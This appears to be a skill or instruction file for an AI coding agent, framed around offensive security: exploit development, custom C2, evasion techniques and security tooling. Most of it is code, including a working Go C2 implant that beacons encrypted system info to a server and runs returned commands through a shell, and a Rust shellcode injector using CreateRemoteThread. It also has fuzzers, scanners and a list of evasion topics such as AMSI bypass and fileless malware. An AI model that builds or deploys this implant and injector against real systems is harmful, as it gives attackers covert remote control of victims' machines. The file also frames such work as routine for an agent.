Coding Mastery
When to Activate
- Writing exploit code, PoCs, or security tools
- Developing automation scripts for pentesting workflows
- Implementing network protocols or custom C2
- Building security analysis tools
- Cryptographic implementation or analysis
- Performance-critical systems programming
Languages & Use Cases
Python (Primary — Offensive Tooling)
# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')
# Network programming
import socket, ssl, struct
import asyncio, aiohttp # async operations
# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup
# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac
# Binary analysis
import struct, ctypes
from capstone import * # disassembly
from unicorn import * # emulation
from keystone import * # assembly
C/C++ (Systems & Exploit Dev)
// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)
// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>
// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI
// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders
Go (Offensive Tooling & C2)
// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)
// Advantages: single binary, cross-platform, fast, good crypto stdlib
Rust (High-Performance Security Tools)
// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses
PowerShell (Windows Post-Exploitation)
# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques
Assembly (x86/x64/ARM)
; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks
Design Patterns for Security Tools
Scanner Architecture
import asyncio
from dataclasses import dataclass
from typing import AsyncIterator
@dataclass
class Finding:
severity: str
target: str
vulnerability: str
evidence: str
class Scanner:
def __init__(self, targets: list[str], concurrency: int = 50):
self.targets = targets
self.semaphore = asyncio.Semaphore(concurrency)
async def scan_target(self, target: str) -> list[Finding]:
async with self.semaphore:
# Implement scan logic
pass
async def run(self) -> AsyncIterator[Finding]:
tasks = [self.scan_target(t) for t in self.targets]
for coro in asyncio.as_completed(tasks):
findings = await coro
for f in findings:
yield f
C2 Communication Pattern
import base64, json, time, random
from cryptography.fernet import Fernet
class Beacon:
def __init__(self, server: str, key: bytes, jitter: float = 0.3):
self.server = server
self.cipher = Fernet(key)
self.jitter = jitter
self.sleep_time = 60
def encrypt(self, data: bytes) -> str:
return base64.b64encode(self.cipher.encrypt(data)).decode()
def decrypt(self, data: str) -> bytes:
return self.cipher.decrypt(base64.b64decode(data))
def sleep(self):
jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
time.sleep(self.sleep_time * jitter)
def checkin(self) -> dict:
# POST encrypted system info, receive tasking
pass
Network Protocol Implementation
import struct
class ProtocolParser:
def __init__(self, data: bytes):
self.data = data
self.offset = 0
def read_u8(self) -> int:
val = struct.unpack_from('B', self.data, self.offset)[0]
self.offset += 1
return val
def read_u16(self) -> int:
val = struct.unpack_from('>H', self.data, self.offset)[0]
self.offset += 2
return val
def read_u32(self) -> int:
val = struct.unpack_from('>I', self.data, self.offset)[0]
self.offset += 4
return val
def read_bytes(self, n: int) -> bytes:
val = self.data[self.offset:self.offset + n]
self.offset += n
return val
def read_string(self) -> str:
length = self.read_u16()
return self.read_bytes(length).decode()
Cryptography Patterns
# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)
# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()
# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()
# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)
Advanced: Exploit Development Patterns
Custom Fuzzer Architecture
import os, signal, subprocess, struct, random
from multiprocessing import Pool
class CoverageFuzzer:
def __init__(self, target_binary, corpus_dir, crashes_dir):
self.target = target_binary
self.corpus = self._load_corpus(corpus_dir)
self.crashes_dir = crashes_dir
self.coverage = set()
def mutate(self, data: bytes) -> bytes:
mutations = [
self._bit_flip,
self._byte_flip,
self._insert_interesting,
self._splice,
self._havoc,
]
mutator = random.choice(mutations)
return mutator(data)
def _bit_flip(self, data: bytes) -> bytes:
d = bytearray(data)
pos = random.randint(0, len(d) * 8 - 1)
d[pos // 8] ^= (1 << (pos % 8))
return bytes(d)
def _insert_interesting(self, data: bytes) -> bytes:
interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff]
d = bytearray(data)
pos = random.randint(0, len(d) - 4)
val = random.choice(interesting)
struct.pack_into('<I', d, pos, val & 0xffffffff)
return bytes(d)
def run_target(self, input_data: bytes) -> tuple:
"""Returns (exit_code, new_coverage)"""
proc = subprocess.run(
[self.target], input=input_data, capture_output=True,
timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'}
)
if proc.returncode < 0: # Signal = crash
return (proc.returncode, True)
return (proc.returncode, False)
def fuzz_loop(self, iterations=100000):
for i in range(iterations):
seed = random.choice(self.corpus)
mutated = self.mutate(seed)
code, crashed = self.run_target(mutated)
if crashed:
crash_path = f"{self.crashes_dir}/crash_{i:06d}"
open(crash_path, 'wb').write(mutated)
C2 Implant Architecture (Go)
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"io"
"net/http"
"os/exec"
"runtime"
"time"
)
type Beacon struct {
Server string
Key []byte
Sleep time.Duration
Jitter float64
KillDate time.Time
}
type Task struct {
ID string `json:"id"`
Command string `json:"cmd"`
Args string `json:"args"`
}
type Result struct {
TaskID string `json:"task_id"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
block, _ := aes.NewCipher(b.Key)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
io.ReadFull(rand.Reader, nonce)
return gcm.Seal(nonce, nonce, data, nil), nil
}
func (b *Beacon) Decrypt(data []byte) ([]byte, error) {
block, _ := aes.NewCipher(b.Key)
gcm, _ := cipher.NewGCM(block)
nonceSize := gcm.NonceSize()
return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil)
}
func (b *Beacon) CheckIn() (*Task, error) {
sysinfo := map[string]string{
"os": runtime.GOOS, "arch": runtime.GOARCH,
}
body, _ := json.Marshal(sysinfo)
enc, _ := b.Encrypt(body)
resp, err := http.Post(b.Server+"/api/beacon",
"application/octet-stream",
bytes.NewReader(enc))
if err != nil { return nil, err }
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
dec, _ := b.Decrypt(respBody)
var task Task
json.Unmarshal(dec, &task)
return &task, nil
}
func (b *Beacon) Execute(task *Task) *Result {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe", "/c", task.Args)
default:
cmd = exec.Command("/bin/sh", "-c", task.Args)
}
output, err := cmd.CombinedOutput()
result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
if err != nil { result.Error = err.Error() }
return result
}
Network Protocol Fuzzer
import socket, struct, random, itertools
from dataclasses import dataclass, field
@dataclass
class ProtocolField:
name: str
fmt: str # struct format
value: int = 0
fuzzable: bool = True
@property
def size(self): return struct.calcsize(self.fmt)
def pack(self): return struct.pack(self.fmt, self.value)
def fuzz(self):
boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
return random.choice(boundaries + [random.randint(0, self.max_val)])
@property
def max_val(self): return (1 << (self.size * 8)) - 1
class ProtocolFuzzer:
def __init__(self, host, port, fields: list[ProtocolField]):
self.host, self.port = host, port
self.fields = fields
def build_packet(self, fuzz_field=None) -> bytes:
pkt = b''
for f in self.fields:
if f.name == fuzz_field and f.fuzzable:
pkt += struct.pack(f.fmt, f.fuzz())
else:
pkt += f.pack()
return pkt
def send(self, packet: bytes) -> bytes:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((self.host, self.port))
s.send(packet)
try: resp = s.recv(4096)
except: resp = b''
s.close()
return resp
def fuzz_all_fields(self, iterations=1000):
for i in range(iterations):
field = random.choice([f for f in self.fields if f.fuzzable])
pkt = self.build_packet(fuzz_field=field.name)
try:
resp = self.send(pkt)
if not resp:
print(f"[!] No response fuzzing {field.name} iter {i}")
except ConnectionRefusedError:
print(f"[!!!] CRASH fuzzing {field.name} iter {i}")
open(f"crash_{i}.bin", 'wb').write(pkt)
Windows API Wrapper (Rust — Safe Offensive Tooling)
use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
use windows_sys::Win32::Foundation::*;
pub struct ProcessInjector {
pid: u32,
handle: HANDLE,
}
impl ProcessInjector {
pub fn open(pid: u32) -> Result<Self, u32> {
let handle = unsafe {
OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
};
if handle == 0 { return Err(unsafe { GetLastError() }); }
Ok(Self { pid, handle })
}
pub fn inject(&self, shellcode: &[u8]) -> Result<HANDLE, u32> {
let base = unsafe {
VirtualAllocEx(self.handle, ptr::null(), shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
};
if base.is_null() { return Err(unsafe { GetLastError() }); }
let mut written = 0;
unsafe {
WriteProcessMemory(self.handle, base, shellcode.as_ptr() as _,
shellcode.len(), &mut written);
let mut old = 0u32;
VirtualProtectEx(self.handle, base, shellcode.len(),
PAGE_EXECUTE_READ, &mut old);
let thread = CreateRemoteThread(self.handle, ptr::null(),
0, Some(std::mem::transmute(base)), ptr::null(), 0, ptr::null_mut());
if thread == 0 { return Err(GetLastError()); }
Ok(thread)
}
}
}
impl Drop for ProcessInjector {
fn drop(&mut self) {
unsafe { CloseHandle(self.handle); }
}
}
Async Port Scanner
import asyncio, socket, struct
from typing import AsyncIterator
async def scan_port(host: str, port: int, timeout: float = 1.0) -> int | None:
try:
_, writer = await asyncio.wait_for(
asyncio.open_connection(host, port), timeout=timeout)
writer.close()
await writer.wait_closed()
return port
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return None
async def scan_host(host: str, ports: range, concurrency: int = 500) -> AsyncIterator[int]:
sem = asyncio.Semaphore(concurrency)
async def _scan(port):
async with sem:
return await scan_port(host, port)
tasks = [asyncio.create_task(_scan(p)) for p in ports]
for task in asyncio.as_completed(tasks):
result = await task
if result:
yield result
async def service_detect(host: str, port: int) -> str:
"""Grab banner for service identification"""
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port), timeout=2.0)
# Send probe
writer.write(b'\r\n')
await writer.drain()
banner = await asyncio.wait_for(reader.read(1024), timeout=2.0)
writer.close()
return banner.decode(errors='ignore').strip()
except:
return ""
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